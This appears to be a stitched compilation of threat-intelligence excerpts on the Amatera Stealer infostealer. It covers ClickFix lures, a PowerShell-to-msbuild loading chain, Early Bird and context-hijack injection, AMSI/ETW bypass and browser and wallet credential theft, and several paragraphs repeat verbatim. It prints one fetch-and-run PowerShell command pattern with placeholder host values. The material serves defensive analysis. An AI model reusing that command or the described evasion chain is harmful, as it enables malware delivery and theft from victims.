Amatera Stealer

Initial Access Drive-by Compromise; User Execution ClickFix lure prompts command execution.

Threat actors are abusing fake Google and Cloudflare verification pages in evolving ClickFix campaigns to socially engineer users into executing malicious commands on their own systems.

In the observed email-based campaigns, messages contained links to compromised websites.

This command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe.

The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

Another interesting feature that was not previously documented relative to this malware is its use of WoW64 Syscalls... this sample defines various functions that stage a Windows API to be resolved and executed dynamically. | The code used to initialize contact with the C2 at this stage leverages NTSockets by interfacing with the device “\\Device\\Afd\\Endpoint” directly, rather than using the Winsock library.

The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.

Both begin the same way, with a ClickFix social engineering technique that tricks targets into running the threat actor’s command.

The infection begins when someone downloads a supposed game, mod, crack, or piece of software... The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain.

Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.

Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.

It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.

The .csproj file contained obfuscated logic that reconstructs and runs another layer of Base64-encoded PowerShell... This third PowerShell script is again heavily obfuscated and uses XOR encoding.

Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts... it uses a renamed MSHTA copy disguised as iso2022.exe

Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.

Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.

It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.

The script first disables PowerShell logging and suppresses output by setting all preference variables (such as ErrorActionPreference, VerbosePreference, etc.) to SilentlyContinue and overriding built-in functions like Write-Host.

The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.

Reads the config data/.GEg and decrypts it using Base64 decoding and XOR... XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP... During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.

The loader simply reconstructs its payload and runs it in memory, so “it never touches the disk.”

It can target passwords and other data stored in browsers... Stolen credentials and session data may also allow attackers to access the victim’s online accounts.

Amatera is an infostealer... It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files.

The malware (injected code) aggressively harvests information from browser credential stores.

It accomplishes this by searching the file system with glob-syntax search patterns using NtCreateFile and NtQueryDirectoryFile.

The malware initiates contact with its configured command and control (C2) server via HTTP shortly after execution... Samples of Amatera Stealer observed in May 2025 contain code which suggests new support for HTTPS requests.

Three additional payloads are then downloaded: two .NET DLLs called PavinWide... and a C++ DLL called LanoseThrip, which ultimately decrypts and loads Amatera Stealer.

The malware author appears to directly connect to a hardcoded C2 instead of the previously seen C2 method utilizing intermediary dead-drop resolvers such as Steam, Telegram, or Google Docs.

Upon completion of each function, the malware will submit a POST request with data that is collected by the function responsible for handling capabilities enabled from the initial configuration from the C2.

The script first disables PowerShell logging and suppresses output by setting all preference variables... It then uses the open-source project Null-AMSI to bypass AMSI (AntiMalware Scan Interface) and disable Event Tracing for Windows (ETW).